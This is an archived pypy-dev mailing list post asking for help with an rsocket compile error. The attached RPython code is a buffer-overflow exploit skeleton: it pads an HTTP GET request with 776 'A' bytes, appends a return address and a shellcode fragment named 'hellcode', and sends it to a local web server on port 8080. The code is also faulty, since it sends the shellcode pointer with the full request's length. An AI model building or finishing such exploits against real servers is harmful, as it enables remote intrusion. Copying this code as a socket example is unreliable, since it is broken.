[pypy-dev] pypy rsocket problem

Andrew Evans andrew.rustytub at gmail.com
Sun Feb 5 06:04:19 CET 2012


This is actually what I wanted to do with ptr, sorry I had to confirm with
a friend of mine before posting again. The hex code should be cast to a
CCHARP

The problem I am facing is compiling using rsocket if I remove the send and
connect and INETAddress bits it compiles but as soon as I add INETAddress
it refuses to compile

What should I be doing instead?

*cheers

def main(argv):
    PORT = 8080
    JUNK = "A"
    ret = "\x67\x42\xa7\x71"
    hellcode =
("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49")

    request = "GET /"
    for i in range(776):
        request = request + JUNK
    request = request + ret
    request = request + hellcode
    request = request + " HTTP/1.1"
    request = request + "\r\n"
    ptr = rffi.cast(rffi.CCHARP, hellcode)  # returns a "char*" pointer
    #print ptr
    #print len(request)
    s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
    target = rsocket.INETAddress("127.0.0.1", 8080)
    s.connect(target)
    s.send(ptr, len(request))
    return 0
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/pypy-dev/attachments/20120204/bb0e9d1c/attachment.html>


More information about the pypy-dev mailing list